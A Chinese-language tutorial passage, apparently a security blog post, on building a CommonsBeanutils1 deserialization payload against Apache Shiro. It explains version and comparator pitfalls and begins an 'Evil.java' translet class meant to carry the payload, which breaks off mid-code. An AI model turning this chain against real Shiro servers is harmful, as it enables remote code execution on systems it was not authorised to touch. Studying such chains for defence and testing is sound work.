CommonsBeanutils1反序列化链在Shiro中的利用
前面分析Shiro550的时候,利用的是commons-collections进行构造反序列化链,但是commons-collections是我们手动加进去的,如果Shiro没有commons-collections链呢,这时候该怎么办?这时候CommonsBeanutils1反序列化链就派上用场了!
Shiro是默认依赖Commons-Beanutils1.8.3的,那么就可以利用CommonsBeanutils1反序列化链进行构造payload
注意点
此处要注意的是,反序列化时会计算 服务器端反序列化对应类的serialVersionUID 值跟序列化数据里面的 serialVersionUID 值进行比对,如果一样则可以完成反序列化,不一样则会抛出错误,Shiro依赖的版本是Commons-Beanutils1.8.3,所以为了保证serialVersionUID值一样构造payload时也用Commons-Beanutils1.8.3版本
第二个注意点,CommonsBeanutils1链用到的BeanComparator类的构造方法参数为空时,则会使用到ComparableComparator.getInstance()
注意到ComparableComparator类是属于commons-collections依赖的,在Shiro中默认包含一部分commons-collections的类,但是不完全,比如就没有包含ComparableComparator类。那么就需要实例化BeanComparator类时填写第二个参数,第二个参数是Comparator类型的,所以我们要找一个实现Comparator和Serializable接口的类,且这个内是内置在java、Commons-Beanutils或者Shiro中的,这里用到的是CaseInsensitiveComparator类,这个类是内置在java的String类中的,可以通过String.CASE_INSENSITIVE_ORDER
方法获取
构造payload
根据前面的分析,就可以得出CommonsBeanutils1反序列化链攻击Shiro的payload了
Evil.java
package org.apache.shiro.test;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DT